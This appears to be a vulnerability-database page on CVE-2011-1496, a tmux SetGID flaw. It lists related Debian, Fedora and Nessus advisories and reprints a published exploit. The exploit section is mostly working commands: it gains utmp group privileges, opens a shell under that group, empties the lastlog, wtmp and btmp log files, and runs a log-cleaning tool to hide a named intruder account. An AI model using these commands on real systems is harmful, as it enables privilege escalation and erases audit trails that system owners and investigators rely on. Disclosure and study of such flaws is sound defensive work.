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tmux '-S' Option Incorrect SetGID Privilege Escalation Vulnerability
| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
 | Vulnerabilities in the Debian GNU/Linux operating system that allow a local malicious individual to compromise the confidentiality, integrity, and accessibility of protected information | 7 Jul 201600:00 | – | bdu_fstec |
 | CVE-2011-1496 | 18 Apr 201118:00 | – | cve |
 | CVE-2011-1496 | 18 Apr 201118:00 | – | cvelist |
 | [BSA-032] Security update for tmux | 11 Apr 201116:49 | – | debian |
| [SECURITY] [DSA 2212-1] tmux security update | 7 Apr 201119:51 | – | debian |
 | CVE-2011-1496 | 18 Apr 201118:00 | – | debiancve |
 | Debian DSA-2212-1 : tmux - privilege escalation | 8 Apr 201100:00 | – | nessus |
| Fedora 13 : tmux-1.4-3.fc13 (2011-5156) | 19 Apr 201100:00 | – | nessus |
| Fedora 14 : tmux-1.4-3.fc14 (2011-5167) | 18 Apr 201100:00 | – | nessus |
| Fedora 15 : tmux-1.4-4.fc15 (2011-5486) | 20 Apr 201100:00 | – | nessus |
10
---------------------------------------
| Team ph0x90bic proudly presents |
| tmux -S 1.3/1.4 local utmp exploit |
---------------------------------------
# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496
---
INTRODUCTION
tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.
---
EXPLOIT
Execute shell as utmp group
$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
--
Delete logfiles
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'
--
Use logcleaner software
$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username
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12 Apr 2011 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.00098